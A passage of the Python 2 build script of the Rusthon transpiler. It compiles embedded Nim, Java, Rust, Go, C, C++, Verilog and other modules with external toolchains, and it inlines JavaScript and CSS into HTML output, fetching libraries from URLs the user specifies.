tempfile.gettempdir() + '/coffee-output.js'\n\t\t\topen(tmpcoff, 'wb').write(mod['code'])\n\t\t\tsubprocess.check_call(['coffee', '--compile', '--bare', '--output', tmpjs, tmpcoff])\n\t\t\tcoffdata = open(tmpjs+'/temp.js','rb').read()\n\t\t\toutput['datafiles'][mod['tag']] = coffdata\n\t\t\ttagged[ mod['tag'] ] = coffdata\n\n\tif modules['rapydscript']:\n\t\tfor mod in modules['rapydscript']:\n\t\t\ttmprapyd = tempfile.gettempdir() + '/temp.rapyd'\n\t\t\ttmpjs = tempfile.gettempdir() + '/rapyd-output.js'\n\t\t\topen(tmprapyd, 'wb').write(mod['code'].encode('utf-8'))\n\t\t\tsubprocess.check_call(['rapydscript', tmprapyd, '--bare', '--output', tmpjs])\n\t\t\trapydata = open(tmpjs,'rb').read()\n\t\t\toutput['datafiles'][mod['tag']] = rapydata\n\t\t\ttagged[ mod['tag'] ] = rapydata\n\n\tif modules['nim']:\n\t\tlibdl = True\n\t\t## if compile_nim_lib is False then use old hack to compile nim source by extracting it and forcing into a single file.\n\t\tcompile_nim_lib = True\n\t\tnimbin = os.path.expanduser('~/Nim/bin/nim')\n\t\tniminclude = os.path.expanduser('~/Nim/lib')\n\n\t\tif os.path.isfile(nimbin):\n\t\t\tmods_sorted_by_index = sorted(modules['nim'], key=lambda mod: mod.get('index'))\n\t\t\tfor mod in mods_sorted_by_index:\n\n\t\t\t\tif mod['tag']: ## save standalone nim program, can be run with `rusthon.py my.md --run=myapp.nim`\n\t\t\t\t\toutput['nim'].append(mod)\n\n\t\t\t\telse: ## use nim to translate to C and build later as staticlib\n\t\t\t\t\ttmpfile = tempfile.gettempdir() + '/rusthon_build.nim'\n\t\t\t\t\tnimsrc = mod['code'].replace('\\t', ' ') ## nim will not accept tabs, replace with two spaces.\n\t\t\t\t\tgen_nim_wrappers( nimsrc, nim_wrappers )\n\t\t\t\t\topen(tmpfile, 'wb').write( nimsrc )\n\t\t\t\t\tif compile_nim_lib:\n\t\t\t\t\t\t## lets nim compile the library\n\t\t\t\t\t\t#cmd = [nimbin, 'compile', '--app:staticLib', '--noMain', '--header'] ## staticlib has problems linking with dlopen,etc.\n\t\t\t\t\t\tcmd = [nimbin, 'compile', '--app:lib', '--noMain', '--header']\n\t\t\t\t\telse:\n\t\t\t\t\t\tcmd = [\n\t\t\t\t\t\t\tnimbin,\n\t\t\t\t\t\t\t'compile',\n\t\t\t\t\t\t\t'--header',\n\t\t\t\t\t\t\t'--noMain',\n\t\t\t\t\t\t\t'--noLinking',\n\t\t\t\t\t\t\t'--compileOnly',\n\t\t\t\t\t\t\t'--genScript', ## broken?\n\t\t\t\t\t\t\t'--app:staticLib', ## Araq says staticlib and noMain will not work together.\n\t\t\t\t\t\t\t'--deadCodeElim:on',\n\t\t\t\t\t\t]\n\t\t\t\t\tif 'import threadpool' in nimsrc:\n\t\t\t\t\t\tcmd.append('--threads:on')\n\t\t\t\t\tcmd.append('rusthon_build.nim')\n\n\t\t\t\t\tprint('-------- compile nim program -----------')\n\t\t\t\t\tprint(' '.join(cmd))\n\t\t\t\t\tsubprocess.check_call(cmd, cwd=tempfile.gettempdir())\n\n\t\t\t\t\tif compile_nim_lib:\n\t\t\t\t\t\t## staticlib broken in nim? missing dlopen\n\t\t\t\t\t\tlibname = 'rusthon_build'\n\t\t\t\t\t\tlink.append(libname)\n\t\t\t\t\t\t#output['c'].append({'source':mod['code'], 'staticlib':libname+'.a'})\n\t\t\t\t\t\toutput['c'].append(\n\t\t\t\t\t\t\t{'source':mod['code'], 'dynamiclib':libname+'.so', 'name':'lib%s.so'%libname}\n\n\t\t\t\t\t\t)\n\t\t\t\t\telse:\n\t\t\t\t\t\t## get source from nim cache ##\n\t\t\t\t\t\tnimcache = os.path.join(tempfile.gettempdir(), 'nimcache')\n\t\t\t\t\t\tnim_stdlib = hack_nim_stdlib(\n\t\t\t\t\t\t\topen(os.path.join(nimcache,'stdlib_system.c'), 'rb').read()\n\t\t\t\t\t\t)\n\t\t\t\t\t\t#nim_header = open(os.path.join(nimcache,'rusthon_build.h'), 'rb').read()\n\t\t\t\t\t\tnim_code = hack_nim_code(\n\t\t\t\t\t\t\topen(os.path.join(nimcache,'rusthon_build.c'), 'rb').read()\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\t## gets compiled below\n\t\t\t\t\t\tcfg = {\n\t\t\t\t\t\t\t'dynamic' : True,\n\t\t\t\t\t\t\t'link-dirs' :[nimcache, niminclude],\n\t\t\t\t\t\t\t#'build-dirs':[nimcache], ## not working\n\t\t\t\t\t\t\t'index' : mod['index'],\n\t\t\t\t\t\t\t'code' : '\\n'.join([nim_stdlib, nim_code])\n\t\t\t\t\t\t\t#'code' : header\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmodules['c'].append( cfg )\n\t\telse:\n\t\t\tprint('WARNING: can not find nim compiler')\n\n\tif modules['java']:\n\t\tmods_sorted_by_index = sorted(modules['java'], key=lambda mod: mod.get('index'))\n\t\tjavafiles = []\n\t\ttmpdir = tempfile.gettempdir()\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tif mod['tag']=='java2rusthon':\n\t\t\t\trcode = java_to_rusthon( mod['code'] )\n\t\t\t\tjava2rusthon.append( rcode )\n\t\t\telif 'name' in mod:\n\t\t\t\tjpath = os.path.join(tmpdir, mod['name'])\n\t\t\t\tif '/' in mod['name']:\n\t\t\t\t\tjdir,jname = os.path.split(jpath)\n\t\t\t\t\tif not os.path.isdir(jdir):\n\t\t\t\t\t\tos.makedirs(jdir)\n\t\t\t\topen(jpath, 'wb').write(mod['code'])\n\t\t\t\tjavafiles.append( jpath )\n\t\t\telse:\n\t\t\t\traise SyntaxError('java code must have a tag header: `java2rusthon` or a file path')\n\n\t\tif javafiles:\n\t\t\toutput['java'].append( compile_java( javafiles ) )\n\n\n\tif modules['xml']:\n\t\tmods_sorted_by_index = sorted(modules['xml'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tif mod['tag']=='gwis':\n\t\t\t\tgiws.append(mod['code']) ## hand written bindings should get saved in output tar.\n\t\t\t\tbindings = compile_giws_bindings(mod['code'])\n\t\t\t\tmodules['c++'].append( {'code':bindings, 'index': mod['index']}) ## gets compiled below\n\t\t\telse:\n\t\t\t\toutput['xml'].append(mod)\n\n\tjs_merge = []\n\tcpp_merge = []\n\tcpp_links = []\n\tcpp_idirs = []\n\tcpp_defines = []\n\tcompile_mode = 'binary'\n\texename = 'rusthon-test-bin'\n\ttagged_trans_src = {}\n\n\n\tif modules['rusthon']:\n\t\tmods_sorted_by_index = sorted(modules['rusthon'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tscript = mod['code']\n\t\t\tindex = mod.get('index')\n\t\t\theader = script.splitlines()[0]\n\t\t\tbackend = 'c++' ## default to c++ backend\n\t\t\tif header.startswith('#backend:'):\n\t\t\t\tbackend = header.split(':')[-1].strip()\n\t\t\t\tif ' ' in backend:\n\t\t\t\t\tbackend, compile_mode = backend.split(' ')\n\t\t\t\tif '\\t' in backend:\n\t\t\t\t\tbackend, compile_mode = backend.split('\\t')\n\n\t\t\t\tif backend not in 'c++ rust javascript go verilog dart lua'.split():\n\t\t\t\t\traise SyntaxError('invalid backend: %s' %backend)\n\n\t\t\t\tif compile_mode and compile_mode not in 'binary staticlib dynamiclib'.split():\n\t\t\t\t\traise SyntaxError('invalid backend option <%s> (valid types: binary, staticlib, dynamiclib)' %backend)\n\n\t\t\tif backend == 'verilog':\n\t\t\t\tvcode = translate_to_verilog( script )\n\t\t\t\tmodules['verilog'].append( {'code':vcode, 'index': index}) ## gets compiled below\n\n\t\t\telif backend == 'c++':\n\t\t\t\tif mod['tag'] and mod['tag'] and '.' not in mod['tag']:\n\t\t\t\t\texename = mod['tag']\n\n\t\t\t\t## user named output for external build tools that need .h,.hpp,.cpp, files output to hardcoded paths.\n\t\t\t\tif mod['tag'] and (mod['tag'].endswith('.h') or mod['tag'].endswith('.hpp') or mod['tag'].endswith('.cpp') or mod['tag'].endswith('.cc')):\n\t\t\t\t\tpyjs = python_to_pythonjs(script, cpp=True, module_path=module_path)\n\t\t\t\t\tuse_try = True\n\t\t\t\t\tif '--no-except' in sys.argv:\n\t\t\t\t\t\tuse_try = False\n\t\t\t\t\telif mod['tag'] in gyp_builds.keys(): ## nw-gyp builds without c++ exceptions\n\t\t\t\t\t\tuse_try = False\n\n\t\t\t\t\tpak = translate_to_cpp(\n\t\t\t\t\t\tpyjs, \n\t\t\t\t\t\tcached_json_files=cached_json, \n\t\t\t\t\t\tinsert_runtime=mod['tag'] in gyp_builds.keys(),\n\t\t\t\t\t\tuse_try = use_try\n\t\t\t\t\t)\n\t\t\t\t\tif '--debug-c++' in sys.argv:\n\t\t\t\t\t\traise RuntimeError(pak)\n\t\t\t\t\t## pak contains: c_header and cpp_header\n\t\t\t\t\toutput['datafiles'][ mod['tag'] ] = pak['main'] ## save to output c++ to tar\n\n\t\t\t\t\tif mod['tag'] in gyp_builds.keys():\n\t\t\t\t\t\tgyp_builds[ mod['tag'] ]['src'] = pak['main']\n\n\t\t\t\t\tif 'user-headers' in pak:\n\t\t\t\t\t\tfor classtag in pak['user-headers'].keys():\n\t\t\t\t\t\t\tclassheader = pak['user-headers'][ classtag ]\n\t\t\t\t\t\t\theaderfile = classheader['file']\n\t\t\t\t\t\t\tif headerfile in output['datafiles']:\n\t\t\t\t\t\t\t\toutput['datafiles'][ headerfile ] += '\\n' + '\\n'.join(classheader['source'])\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\toutput['datafiles'][ headerfile ] = '\\n' + '\\n'.join(classheader['source'])\n\n\t\t\t\telse:\n\t\t\t\t\tcpp_merge.append(script)\n\n\t\t\t\t\tif 'links' in mod:\n\t\t\t\t\t\tcpp_links.extend(mod['links'])\n\t\t\t\t\tif 'include-dirs' in mod:\n\t\t\t\t\t\tcpp_idirs.extend(mod['include-dirs'])\n\t\t\t\t\tif 'defines' in mod:\n\t\t\t\t\t\tcpp_defines.extend(mod['defines'])\n\n\t\t\telif backend == 'rust':\n\t\t\t\tpyjs = python_to_pythonjs(script, rust=True, module_path=module_path)\n\t\t\t\trustcode = translate_to_rust( pyjs )\n\t\t\t\tmodules['rust'].append( {'code':rustcode, 'index': index}) ## gets compiled below\n\n\t\t\telif backend == 'go':\n\t\t\t\tpyjs = python_to_pythonjs(script, go=True, module_path=module_path)\n\t\t\t\tgocode = translate_to_go( pyjs )\n\t\t\t\t#modules['go'].append( {'code':gocode}) ## gets compiled below\n\t\t\t\tgo_main['source'].append( gocode )\n\n\t\t\telif backend == 'javascript':\n\t\t\t\tif mod['tag'] and mod['tag'].endswith('.js'): ## saves to external js file\n\t\t\t\t\tjs = compile_js( mod['code'], module_path, main_name=mod['tag'] )\n\t\t\t\t\tmod['build'] = {'script':js[mod['tag']]}\n\t\t\t\t\ttagged[ mod['tag'] ] = js[mod['tag']]\n\t\t\t\t\ttagged_trans_src[ mod['tag'] ] = mod['code'] ## so user can embed original source using <!tagname>\n\t\t\t\t\tfor name in js:\n\t\t\t\t\t\toutput['javascript'].append( {'name':name, 'script':js[name], 'index': index} )\n\t\t\t\telse:\n\t\t\t\t\tjs_merge.append(mod)\n\n\t\t\telif backend == 'lua':\n\t\t\t\tpyjs = python_to_pythonjs(script, lua=True, module_path=module_path)\n\t\t\t\tluacode = translate_to_lua( pyjs )\n\t\t\t\tname = 'main.lua'\n\t\t\t\tif mod['tag']: name = mod['tag']\n\t\t\t\tif not name.endswith('.lua'): name += '.lua'\n\t\t\t\toutput['lua'].append( {'name':name, 'script':luacode, 'index': index} )\n\n\t\t\telif backend == 'dart':\n\t\t\t\tpyjs = python_to_pythonjs(script, dart=True, module_path=module_path)\n\t\t\t\tdartcode = translate_to_dart( pyjs )\n\t\t\t\tname = 'main.dart'\n\t\t\t\tif mod['tag']: name = mod['tag']\n\t\t\t\tif not name.endswith('.dart'): name += '.dart'\n\t\t\t\toutput['dart'].append( {'name':name, 'script':dartcode, 'index': index} )\n\n\tif js_merge:\n\t\ttaggroups = {}\n\t\tfor mod in js_merge:\n\t\t\ttagname = mod['tag']\n\t\t\tif tagname not in taggroups:\n\t\t\t\ttaggroups[tagname] = []\n\n\t\t\tsrc = taggroups[tagname]\n\t\t\tsrc.append( mod['code'] )\n\t\tfor tagname in taggroups.keys():\n\t\t\tgroupsrc = '\\n'.join( taggroups[tagname] )\n\t\t\tjs = compile_js( groupsrc, module_path, main_name=tagname )\n\t\t\ttagged[ tagname ] = js[ tagname ]\n\t\t\ttagged_trans_src[ tagname ] = groupsrc\n\n\t\t\tfor name in js:\n\t\t\t\toutput['javascript'].append( {'name':name, 'script':js[name], 'index': index} )\n\n\n\tcpyembed = []\n\tnuitka = []\n\tnuitka_include_path = None ## TODO option for this\n\tnuitka_module_name = 'unnamed_nuitka_module'\n\tif modules['python']:\n\t\tmods_sorted_by_index = sorted(modules['python'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tif mod['tag']:\n\t\t\t\tname = mod['tag']\n\t\t\t\tif name == 'nuitka' or name.startswith('nuitka:'):\n\t\t\t\t\tif ':' in name:\n\t\t\t\t\t\tnuitka_module_name = name.split(':')[-1]\n\t\t\t\t\tif not len(nuitka):\n\t\t\t\t\t\t## __file__ is undefined when CPython is embedded\n\t\t\t\t\t\t#cpyembed.append('sys.path.append(os.path.dirname(__file__))')\n\t\t\t\t\t\t#cpyembed.append('print sys.argv') ## also undefined\n\t\t\t\t\t\tcpyembed.append('import sys')\n\t\t\t\t\t\tcpyembed.append('sys.path.append(\"./\")')\n\t\t\t\t\t\tcpyembed.append('from %s import *'%nuitka_module_name)\n\n\t\t\t\t\tnuitka.append(mod['code'])\n\n\t\t\t\telif name == 'embed' or name == 'embed:cpython':\n\t\t\t\t\tcpyembed.append(mod['code'])\n\t\t\t\telse:\n\t\t\t\t\tif not name.endswith('.py'):\n\t\t\t\t\t\tname += '.py'\n\t\t\t\t\toutput['python'].append( {'name':name, 'script':mod['code']} )\n\t\t\telse:\n\t\t\t\tif len(output['python'])==0:\n\t\t\t\t\tpython_main['script'].append( mod['code'] )\n\t\t\t\telse:\n\t\t\t\t\toutput['python'][-1]['script'] += '\\n' + mod['code']\n\n\n\tif cpp_merge:\n\t\tmerge = []\n\t\tnuitka_funcs = []\n\t\tif java2rusthon:\n\t\t\tmerge.extend(java2rusthon)\n\t\t\tjava2rusthon = None\n\t\tif nim_wrappers:\n\t\t\t## inserts generated rusthon nim wrappers into script before translation ##\n\t\t\tnim_wrappers.insert(0,'# nim wrappers generated by rusthon #')\n\t\t\tnim_wrappers.insert(1, 'with extern(abi=\"C\"):')\n\t\t\tmerge.extend(nim_wrappers)\n\t\tif nuitka:\n\t\t\t#npak = nuitka_compile_integrated('\\n'.join(nuitka), nuitka_funcs)\n\t\t\t#for h in npak['files']:\n\t\t\t#\tmodules['c++'].append(\n\t\t\t#\t\t{'code':h['data'], 'tag':h['name'], 'index':0}\n\t\t\t#\t)\n\t\t\tnsrc = '\\n'.join(nuitka)\n\t\t\toutput['c++'].append(\n\t\t\t\t{\n\t\t\t\t\t'staticlib' : nuitka_compile( nsrc, nuitka_module_name ),\n\t\t\t\t\t'source-name' : 'my_nuitka_module.py',\n\t\t\t\t\t'name' : 'my_nuitka_module.so',\n\t\t\t\t\t'source' : nsrc,\n\t\t\t\t}\n\t\t\t)\n\n\t\tmerge.extend(cpp_merge)\n\t\tscript = '\\n'.join(merge)\n\t\tpyjs = python_to_pythonjs(script, cpp=True, module_path=module_path)\n\t\tpak = translate_to_cpp( pyjs, cached_json_files=cached_json ) ## pak contains: c_header and cpp_header\n\t\tn = len(modules['c++']) + len(giws)\n\t\tcppcode = pak['main']\n\t\t#if nuitka:\n\t\t#\tcppcode = npak['main'] + '\\n' + cppcode\n\t\tif cpyembed:\n\t\t\tinlinepy = ('\\n'.join(cpyembed)).replace('\\n', '\\\\n').replace('\"', '\\\\\"')\n\t\t\tstaticstr = 'const char* __python_main_script__ = \"%s\";\\n' %inlinepy\n\t\t\tcppcode = staticstr + cppcode\n\t\tmodules['c++'].append(\n\t\t\t{'code':cppcode, 'index':n+1, 'links':cpp_links, 'include-dirs':cpp_idirs, 'defines':cpp_defines}\n\t\t) ## gets compiled below\n\n\n\n\t## HTML ##\n\tif modules['html']:\n\t\tmods_sorted_by_index = sorted(modules['html'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\thtml = []\n\t\t\tfor line in mod['code'].splitlines():\n\t\t\t\t## `~/some/path/myscript.js` special syntax to copy javascript directly into the output html, good for testing locally.\n\t\t\t\tif line.strip().startswith('<script ') and line.strip().endswith('</script>') and 'src=\"~/' in line:\n\t\t\t\t\turl = line.split('src=\"')[-1].split('\"')[0]\n\t\t\t\t\turl = os.path.expanduser( url )\n\n\t\t\t\t\tif os.path.isfile(url):\n\t\t\t\t\t\thtml.append('<script type=\"text/javascript\">')\n\t\t\t\t\t\thtml.append( open(url, 'rb').read().decode('utf-8') )\n\t\t\t\t\t\thtml.append('</script>')\n\t\t\t\t\telif 'git=\"' in line:\n\t\t\t\t\t\tgiturl = line.split('git=\"')[-1].split('\"')[0]\n\t\t\t\t\t\tprint 'downloading library-> ' + giturl\n\t\t\t\t\t\tcmd = ['git', 'clone', giturl]\n\t\t\t\t\t\tsubprocess.check_call(cmd, cwd=os.environ['HOME'])\n\t\t\t\t\t\tassert os.path.isfile(url)\n\t\t\t\t\t\thtml.append('<script type=\"text/javascript\">')\n\t\t\t\t\t\thtml.append( open(url, 'rb').read().decode('utf-8') )\n\t\t\t\t\t\thtml.append('</script>')\n\t\t\t\t\telif 'source=\"' in line:\n\t\t\t\t\t\tsrcurl = line.split('source=\"')[-1].split('\"')[0]\n\t\t\t\t\t\tprint 'downloading javascript-> ' + srcurl\n\t\t\t\t\t\timport urllib\n\t\t\t\t\t\tsrcdata = urllib.urlopen(srcurl).read()\n\t\t\t\t\t\tsrcpath = os.path.split(url)[0]\n\t\t\t\t\t\tif not os.path.isdir(srcpath):\n\t\t\t\t\t\t\tos.makedirs(srcpath)\n\t\t\t\t\t\topen(url, 'wb').write(srcdata)\n\t\t\t\t\t\tassert os.path.isfile(url)\n\t\t\t\t\t\thtml.append('<script type=\"text/javascript\">')\n\t\t\t\t\t\thtml.append( open(url, 'rb').read().decode('utf-8') )\n\t\t\t\t\t\thtml.append('</script>')\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint('ERROR: could not find file to inline: %s' %url)\n\t\t\t\t\t\thtml.append( line )\n\t\t\t\telif line.strip().startswith('<link ') and ('href=\"~/' in line or \"href='~/\" in line):\n\t\t\t\t\tzipurl = None\n\t\t\t\t\tif 'zip=\"' in line:\n\t\t\t\t\t\tzipurl = line.split('zip=\"')[-1].split('\"')[0]\n\n\t\t\t\t\tif 'href=\"' in line:\n\t\t\t\t\t\turl = line.split('href=\"')[-1].split('\"')[0]\n\t\t\t\t\telse:\n\t\t\t\t\t\turl = line.split(\"href='\")[-1].split(\"'\")[0]\n\n\t\t\t\t\turl = os.path.expanduser( url )\n\t\t\t\t\tif os.path.isfile(url):\n\t\t\t\t\t\thtml.append('<style>')\n\t\t\t\t\t\thtml.append( open(url, 'rb').read() )\n\t\t\t\t\t\thtml.append('</style>')\n\t\t\t\t\telif zipurl:\n\t\t\t\t\t\timport urllib\n\t\t\t\t\t\tprint 'downloading css library->' + zipurl\n\t\t\t\t\t\tzipdata = urllib.urlopen(zipurl).read()\n\t\t\t\t\t\topen('/tmp/csslib.zip', 'wb').write( zipdata )\n\t\t\t\t\t\tsubprocess.check_call(['unzip', '/tmp/csslib.zip'], cwd=os.environ['HOME'])\n\t\t\t\t\t\thtml.append('<style>')\n\t\t\t\t\t\thtml.append( open(url, 'rb').read() )\n\t\t\t\t\t\thtml.append('</style>')\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint('ERROR: could not find css file to inline: %s' %url)\n\t\t\t\t\t\thtml.append( line )\n\n\t\t\t\telse:\n\t\t\t\t\thtml.append( line )\n\n\t\t\thtml = unicode('\\n'.join(html))\n\n\t\t\tfor tagname in tagged:\n\t\t\t\ttag = u'<@%s>' %tagname\n\t\t\t\tjs = tagged[tagname]\n\t\t\t\tif tag in html:\n\t\t\t\t\t## TODO fix this ugly mess\n\t\t\t\t\ttry:\n\t\t\t\t\t\t## javascript with unicode\n\t\t\t\t\t\txxx = u'<script type=\"text/javascript\" id=\"%s_transpiled\">\\n%s</script>' %(tagname, js)\n\t\t\t\t\texcept UnicodeDecodeError:\n\t\t\t\t\t\t## rusthon translated to js\n\t\t\t\t\t\txxx = u'<script type=\"text/javascript\" id=\"%s_transpiled\">\\n%s</script>' %(tagname, js.decode('utf-8'))\n\t\t\t\t\thtml = html.replace(tag, xxx)\n\n\t\t\t\tif tagname in tagged_trans_src.keys():\n\t\t\t\t\tstag = u'<!%s>' %tagname\n\t\t\t\t\tpy = tagged_trans_src[tagname]\n\t\t\t\t\tif stag in html:\n\t\t\t\t\t\t## TODO fix this ugly mess\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\txxx = u'<script type=\"text/rusthon\" id=\"%s\">\\n%s</script>' %(tagname, py)\n\t\t\t\t\t\texcept UnicodeDecodeError:\n\t\t\t\t\t\t\txxx = u'<script type=\"text/rusthon\" id=\"%s\">\\n%s</script>' %(tagname, py.decode('utf-8'))\n\t\t\t\t\t\thtml = html.replace(stag, xxx)\n\n\n\t\t\tmod['code'] = html\n\t\t\toutput['html'].append( mod )\n\t\t\t## inlines js app into openshift default style python server ##\n\t\t\tif '--openshift-python' in sys.argv:\n\t\t\t\timport base64\n\t\t\t\tbcoded = base64.b64encode(mod['code'].encode('utf-8'))\n\t\t\t\twsgi = [ OPENSHIFT_PY[0]%bcoded, OPENSHIFT_PY[1] ]\n\t\t\t\toutput['datafiles']['wsgi.py'] = '\\n'.join(wsgi).encode('utf-8')\n\n\tif modules['verilog']:\n\t\tsource = []\n\t\tmainmod = None\n\t\tmods_sorted_by_index = sorted(modules['verilog'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tsource.append( mod['code'] )\n\t\t\tif 'name' in mod and mod['name']=='main':\n\t\t\t\tmainmod = mod\n\t\t\telif mainmod is None:\n\t\t\t\tmainmod = mod\n\n\t\tsource = '\\n'.join(source)\n\n\t\tmod = {}\n\t\toutput['verilog'].append(mod)\n\n\t\tif os.path.isfile('/usr/bin/iverilog') or os.path.isfile('/usr/local/bin/iverilog'):\n\t\t\tmod['source'] = source\n\t\t\tmod['binary'] = tempfile.gettempdir() + '/rusthon-sv-build.vvp'\n\t\t\tmod['name'] = 'main.vvp'\n\t\t\toutput['executeables'].append( mod['binary'] )\n\t\t\ttmpfile = tempfile.gettempdir() + '/rusthon-verilog-build.sv'\n\t\t\topen(tmpfile, 'wb').write( source )\n\t\t\t## note: iverilog defaults to verilog mode, not systemverilog, `-g2005-sv` is required. '-g2012' also works.\n\t\t\tcmd = [\n\t\t\t\t'iverilog',\n\t\t\t\t'-g2005-sv',\n\t\t\t\t'-o',\n\t\t\t\t'rusthon-sv-build.vvp',\n\t\t\t\ttmpfile\n\t\t\t]\n\t\t\tp = subprocess.Popen(cmd, cwd=tempfile.gettempdir(), stdout=subprocess.PIPE, stderr=subprocess.PIPE )\n\t\t\tp.wait()\n\t\t\tif p.returncode != 0:\n\t\t\t\tsrclines = source.splitlines()\n\t\t\t\terr = p.stderr.read() ## ends with \"I give up.\"\n\t\t\t\terrors = []\n\t\t\t\tfor line in err.splitlines():\n\t\t\t\t\tif 'syntax error' in line:\n\t\t\t\t\t\terrors.append('- - - - - - - - - - - -')\n\t\t\t\t\t\tlineno = int( line.split(':')[-2] )\n\t\t\t\t\t\te = [\n\t\t\t\t\t\t\t'Syntax Error - line: %s' %lineno,\n\t\t\t\t\t\t]\n\t\t\t\t\t\tif lineno-2 < len(srclines):\n\t\t\t\t\t\t\te.append( srclines[lineno-2] )\n\t\t\t\t\t\tif lineno-1 < len(srclines):\n\t\t\t\t\t\t\te.append( srclines[lineno-1] )\n\t\t\t\t\t\tif lineno < len(srclines):\n\t\t\t\t\t\t\te.append( srclines[lineno] )\n\n\t\t\t\t\t\terrors.extend( e )\n\t\t\t\t\telse:\n\t\t\t\t\t\terrors.append(line)\n\n\t\t\t\tmsg = [' '.join(cmd)]\n\t\t\t\tfor i,line in enumerate(source.splitlines()):\n\t\t\t\t\tmsg.append('%s:\t%s' %(i+1, line))\n\t\t\t\tmsg.extend(errors)\n\t\t\t\traise RuntimeError('\\n'.join(msg))\n\n\n\t\telse:\n\t\t\tprint('WARNING: could not find iverilog')\n\t\t\tmod['code'] = source\n\n\tif modules['go']:\n\t\tfor mod in modules['go']:\n\t\t\tif 'name' in mod:\n\t\t\t\tname = mod['name']\n\t\t\t\tif name=='main':\n\t\t\t\t\tgo_main['source'].append( mod['code'] )\n\t\t\t\telse:\n\t\t\t\t\toutput['go'].append( mod )\n\t\t\telse:\n\t\t\t\tgo_main['source'].append( mod['code'] )\n\n\tif go_main['source']:\n\t\tgo_main['source'] = '\\n'.join(go_main['source'])\n\t\toutput['go'].insert( 0, go_main )\n\n\tif output['go']:\n\t\tsource = [ mod['source'] for mod in output['go'] ]\n\t\ttmpfile = tempfile.gettempdir() + '/rusthon-go-build.go'\n\t\topen(tmpfile, 'wb').write( '\\n'.join(source) )\n\t\tif GO_EXE:\n\t\t\tcmd = [GO_EXE, 'build', tmpfile]\n\t\t\tsubprocess.check_call([GO_EXE, 'build', tmpfile], cwd=tempfile.gettempdir() )\n\t\t\tmod['binary'] = tempfile.gettempdir() + '/rusthon-go-build'\n\t\t\toutput['executeables'].append(tempfile.gettempdir() + '/rusthon-go-build')\n\n\n\tif modules['rust']:\n\t\tsource = []\n\t\tmainmod = None\n\t\tmods_sorted_by_index = sorted(modules['rust'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tsource.append( mod['code'] )\n\t\t\tif 'name' in mod and mod['name']=='main':\n\t\t\t\tmainmod = mod\n\t\t\telif mainmod is None:\n\t\t\t\tmainmod = mod\n\n\t\ttmpfile = tempfile.gettempdir() + '/rusthon-build.rs'\n\t\tdata = '\\n'.join(source)\n\t\topen(tmpfile, 'wb').write( data )\n\n\t\tpak = None\n\t\tif modules['c++']:\n\t\t\tlibname = 'rusthon-lib%s' %len(output['rust'])\n\t\t\tlink.append(libname)\n\t\t\tsubprocess.check_call(['rustc', '--crate-name', 'rusthon', '--crate-type', 'staticlib' ,'-o', tempfile.gettempdir() + '/'+libname, tmpfile] )\n\t\t\tpak = {'source':data, 'staticlib':libname, 'name':'lib'+libname+'.a'}\n\n\t\telse:\n\t\t\tsubprocess.check_call(['rustc', '--crate-name', 'rusthon', '-o', tempfile.gettempdir() + '/rusthon-bin', tmpfile] )\n\t\t\tpak = {'source':data, 'binary':tempfile.gettempdir() + '/rusthon-bin', 'name':'rusthon-bin'}\n\t\t\toutput['executeables'].append(tempfile.gettempdir() + '/rusthon-bin')\n\n\t\tassert pak\n\t\tmainmod['build'] = pak\n\t\toutput['rust'].append( pak )\n\n\n\tif modules['c']:\n\t\tdynamiclib = False\n\t\tsource = []\n\t\tcinclude = []\n\t\tcbuild = []\n\t\tmods_sorted_by_index = sorted(modules['c'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tif 'dynamic' in mod and mod['dynamic']:\n\t\t\t\tdynamiclib = True\n\t\t\tif 'link-dirs' in mod:\n\t\t\t\tcinclude.extend(mod['link-dirs'])\n\t\t\tif 'build-dirs' in mod:\n\t\t\t\tfor bdir in mod['build-dirs']:\n\t\t\t\t\tfor fname in os.listdir(bdir):\n\t\t\t\t\t\tif fname.endswith('.c'):\n\t\t\t\t\t\t\tcbuild.append(os.path.join(bdir,fname))\n\n\t\t\tif 'code' in mod and mod['code']:\n\t\t\t\tsource.append( mod['code'] )\n\t\t\telse:\n\t\t\t\t## module must contain a build config\n\t\t\t\traise RuntimeError('missing code')\n\n\t\tif source:\n\t\t\tdata = '\\n'.join(source)\n\t\t\tcpak = {'source':data}\n\t\t\toutput['c'].append(cpak)\n\n\t\t\tlibname = 'default-clib%s' %len(output['c']) ## TODO user named\n\t\t\tlink.append(libname)\n\t\t\tdynamic_path = tempfile.gettempdir() + '/lib'+libname+'.so'\n\t\t\tstatic_path = tempfile.gettempdir() + '/lib'+libname+'.a'\n\t\t\tobject_path = tempfile.gettempdir() + '/'+libname+'.o'\n\n\n\t\t\ttmpfile = tempfile.gettempdir() + '/rusthon-build.c'\n\t\t\topen(tmpfile, 'wb').write( data )\n\n\t\t\tcmd = ['gcc']\n\t\t\tfor idir in cinclude:\n\t\t\t\tcmd.append('-I'+idir)\n\t\t\tcmd.extend(['-c', tmpfile])\n\n\n\t\t\tif dynamiclib:\n\t\t\t\tcmd.extend(\n\t\t\t\t\t[\n\t\t\t\t\t\t'-fPIC',\n\t\t\t\t\t\t'-O3',\n\t\t\t\t\t\t'-fomit-frame-pointer',\n\t\t\t\t\t\t'-Wall', '-Wno-unused',\n\t\t\t\t\t\t'-o', object_path\n\t\t\t\t\t]\n\t\t\t\t)\n\t\t\t\tsubprocess.check_call(cmd)\n\n\t\t\t\tcmd = [\n\t\t\t\t\t'gcc',\n\t\t\t\t\t'-shared',\n\t\t\t\t\t'-Wl,-soname,lib%s.so' %libname,\n\t\t\t\t\t#'-Wl,-rpath,/tmp',\n\t\t\t\t\t'-Wl,--export-dynamic',\n\t\t\t\t\t'-pthread', '-o', 